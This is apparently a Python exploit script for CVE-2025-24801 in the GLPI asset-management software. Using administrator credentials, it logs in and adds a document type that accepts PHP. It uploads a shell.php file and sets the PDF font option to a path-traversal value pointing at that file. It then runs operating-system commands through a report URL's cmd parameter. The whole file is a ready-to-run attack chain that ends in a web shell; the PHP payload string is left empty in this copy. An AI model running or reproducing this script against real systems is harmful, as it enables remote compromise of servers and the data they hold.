import bs4 import requests import re import uuid import sys import argparse from urllib.parse import urljoin, urlparse BANNER = f""" ╔════════════════════════╗ ║ Exploit CVE-2025-24801 ║ ║ By ribeirin ║ ╚════════════════════════╝ """ def create_computer(session, url): print('[CVE-2025-24801] Trying to create a computer to generate a report') computer_form_url = f'{url}/front/computer.form.php' get_info_url = f'{url}/front/computer.form.php?id=-1&withtemplate=2' req_get_info_computer = session.get(get_info_url) req_get_info_soup = bs4.BeautifulSoup(req_get_info_computer.text, 'html.parser') _glpi_csrf_token = req_get_info_soup.find('input', {'name': '_glpi_csrf_token'})['value'] random = uuid.uuid4() data = { 'entities_id': 0, '_glpi_csrf_token': _glpi_csrf_token, 'name': f'PC_{random}', 'states_id': 0, 'locations_id': 0, 'computertypes_id': 0, 'users_id_tech': 0, 'manufacturers_id': 0, 'groups_id_tech': 0, 'computermodels_id': 0, 'contact_num': '', 'serial': '', 'contact': '', 'otherserial': '', 'users_id': 0, 'networks_id': 0, 'groups_id': 0, 'uuid': '', 'comment': '', 'autoupdatesystems_id': 0, 'add': 1, '_glpi_csrf_token': _glpi_csrf_token } req_post = session.post( computer_form_url, files={k: (None, v) for k, v in data.items()}, # Trick to send multipart/form-data allow_redirects=True ) if 'Access Denied' not in req_post.text: print("[CVE-2025-24801] Computer created successfully!") else: print("[CVE-2025-24801] Failed to create computer.") def set_pdf_font(session, url, glpi_temp_dir): print(f'[CVE-2025-24801] Trying to set PDF FONT with following value: ../../../../../../../../{glpi_temp_dir}/shell') config_url = f"{url}/front/config.form.php" req_config = session.get(config_url) config_soup = bs4.BeautifulSoup(req_config.text, 'html.parser') _glpi_csrf_token = config_soup.find('input', {'name': '_glpi_csrf_token'})['value'] payload = f'../../../../../../../../{glpi_temp_dir}/shell' data = f'language=en_US&date_format=0&names_format=0&number_format=0&list_limit=15&backcreated=0&use_flat_dropdowntree=0&use_flat_dropdowntree_on_search_result=1&show_count_on_tabs=1&is_ids_visible=0&keep_devices_when_purging_item=0¬ification_to_myself=1&display_count_on_home=5&pdffont={payload}&csv_delimiter=%3B&palette=auror&page_layout=vertical&richtext_layout=classic&highcontrast_css=0&default_central_tab=0&timeline_order=natural&followup_private=0&show_jobs_at_login=0&task_private=0&default_requesttypes_id=1&task_state=1&refresh_views=0&set_default_tech=1&set_default_requester=1&timeline_action_btn_layout=0&timeline_date_format=0&priority_1=%23fff2f2&priority_2=%23ffe0e0&priority_3=%23ffcece&priority_4=%23ffbfbf&priority_5=%23ffadad&priority_6=%23ff5555&duedateok_color=%2306ff00&duedatewarning_color=%23ffb800&duedatewarning_less=20&duedatewarning_unit=%25&duedatecritical_color=%23ff0000&duedatecritical_less=5&duedatecritical_unit=%25&default_dashboard_central=central&default_dashboard_assets=assets&default_dashboard_helpdesk=assistance&default_dashboard_mini_ticket=mini_tickets&update=Save&_glpi_csrf_token={_glpi_csrf_token}' headers = { 'Content-Type': 'application/x-www-form-urlencoded' } req_post = session.post(config_url, data=data, headers=headers) if 'Access Denied' not in req_post.text: print("[CVE-2025-24801] PDF font set successfully!") else: print("[CVE-2025-24801] Failed to set PDF font.") def get_glpi_temp_dir(session, url): print("[CVE-2025-24801] Trying to get GLPI TEMP DIR") req = session.get(f'{url}/ajax/common.tabs.php?_glpi_tab=Config%245&formoptions=data-track-changes%3Dtrue&_target=%2Ffront%2Fconfig.form.php&_itemtype=Config&id=1') match = re.search(r'GLPI_TMP_DIR:\s*"([^"]+)"', req.text) if match: glpi_temp_dir = match.group(1) print(f"[CVE-2025-24801] Found GLPI TEMP DIR: {glpi_temp_dir}") return glpi_temp_dir else: print("[CVE-2025-24801] GLPI_TMP_DIR not found in the response.") return None def upload_file(session, url, payload_php): print('[CVE-2025-24801] Trying to upload following shell php: ') req_url = f'{url}/ajax/fileupload.php' req_document_url = f'{url}/front/document.form.php' req_document = session.get(req_document_url) req_document_soup = bs4.BeautifulSoup(req_document.text, 'html.parser') _glpi_csrf_token = req_document_soup.find('input', {'name': '_glpi_csrf_token'})['value'] headers = { 'X-Glpi-Csrf-Token': _glpi_csrf_token } files = { '_uploader_filename[]': ('shell.php', payload_php, 'application/x-php') } form_data = { 'name': '_uploader_filename', 'showfilesize': '1' } upload_response = session.post( req_url, headers=headers, files=files, data=form_data ) if 'Access Denied' not in upload_response.text: print("[CVE-2025-24801] File uploaded successfully!") else: print("[CVE-2025-24801] Failed to upload file.") def create_document_type(session, url): print('[CVE-2025-24801] Trying create a document type to allow php extension') req_url = f'{url}/front/documenttype.form.php' for id in range(1, 10000): req_get_last_doctype_id = session.get(f'{req_url}?id={id}') if 'Item Not Found' in req_get_last_doctype_id.text: doc_type_id = id break req_get_info = session.get(req_url) req_get_info_soup = bs4.BeautifulSoup(req_get_info.text, 'html.parser') _glpi_csrf_token = req_get_info_soup.find('input', {'name': '_glpi_csrf_token'})['value'] data = { '_glpi_csrf_token': _glpi_csrf_token, 'name': 'Windows Media - Exploit', 'comment': '', 'icon': 'ai-dist.png', 'is_uploadable': 1, 'ext': 'php', 'mime': '', 'add': 1, '_glpi_csrf_token': _glpi_csrf_token } req_post = session.post( req_url, files={k: (None, v) for k, v in data.items()}, # Trick to send multipart/form-data allow_redirects=True ) verify_document = session.get(f'{url}/front/documenttype.form.php?id={doc_type_id}') if 'Item Not Found' not in verify_document.text: print(f"[CVE-2025-24801] Document type with ID {doc_type_id} created successfully!") else: print(f"[CVE-2025-24801] Failed to create document type with ID {doc_type_id}.") def authenticate_glpi(url, username, password): print('[CVE-2025-24801] Trying authenticate') session = requests.Session() login_page_url = urljoin(url, '/front/login.php') login_response = session.get(login_page_url) soup = bs4.BeautifulSoup(login_response.text, 'html.parser') csrf_token = soup.find('meta', {'property': 'glpi:csrf_token'})['content'] form_fields = {} for input_field in soup.find_all('input'): if input_field.get('name'): form_fields[input_field.get('name')] = input_field.get('value', '') login_name = None password_name = None remember_name = None for field in soup.find_all('input'): if field.get('id') == 'login_name': login_name = field.get('name') elif field.get('id') == 'login_password': password_name = field.get('name') elif field.get('id') == 'login_remember': remember_name = field.get('name') if not login_name: for name in form_fields.keys(): if name.endswith('2'): login_name = name elif name.endswith('4'): password_name = name elif name.endswith('5'): remember_name = name auth_data = { 'noAUTO': form_fields.get('noAUTO', '0'), 'redirect': form_fields.get('redirect', ''), '_glpi_csrf_token': csrf_token, 'auth': 'local', 'submit': 'Login' } if login_name: auth_data[login_name] = username if password_name: auth_data[password_name] = password if remember_name: auth_data[remember_name] = 'on' headers = { 'Content-Type': 'application/x-www-form-urlencoded' } try: auth_response = session.post( login_page_url, headers=headers, data=auth_data, allow_redirects=False ) cookie_session, cookie_remember = session.cookies.items() if 'glpi' in cookie_session[0] and '_rememberme' in cookie_remember[0]: print("[CVE-2025-24801] Authentication successful") return session except: print(f"[CVE-2025-24801] Authentication failed") exit() def is_valid_url(url): try: result = urlparse(url) return all([result.scheme, result.netloc]) except: return False def main(): parser = argparse.ArgumentParser(description="Exploit CVE-2025-24801") parser.add_argument('--url', help="URL to exploit. Example: http://172.16.11.130:8080", required=True) parser.add_argument('--username', help="Username administrator account", required=True) parser.add_argument('--password', help="Password administrator account", required=True) parser.add_argument('--cmd', help="Execute a command. To run this command, it's necessary run the exploit without this flag to create the cenary and then run the exploit with this parameter", required=False) args = parser.parse_args() print(BANNER) if not (args.url or args.username or args.password): parser.print_help() return if args.url: if is_valid_url(args.url): pass else: print(f"[CVE-2025-24801][-] Invalid URL: {args.url}") url = args.url username = args.username password = args.password print(f"[CVE-2025-24801] Starting") session = authenticate_glpi(url, username, password) shell_url = f'{url}/front/report.dynamic.php?item_type=Computer&sort[0]=1&order[0]=ASC&start=0&criteria[0][field]=view&criteria[0][link]=contains&criteria[0][value]=&display_type=2&cmd=' if not args.cmd: create_document_type(session, url) payload_php = '' upload_file(session, url, payload_php) glpi_temp_dir = get_glpi_temp_dir(session, url) set_pdf_font(session, url, glpi_temp_dir) create_computer(session, url) cmd = 'id' req = session.get(f'{shell_url}{cmd}') print(f'[CVE-2025-24801] {req.text}') sys.stdout.write('\033[F\033[K') print(f'[CVE-2025-24801] URL SHELL: {shell_url}') else: cmd = args.cmd req = session.get(f'{shell_url}{cmd}') print(f'[CVE-2025-24801] {req.text}') sys.stdout.write('\033[F\033[K') if __name__ == "__main__": main()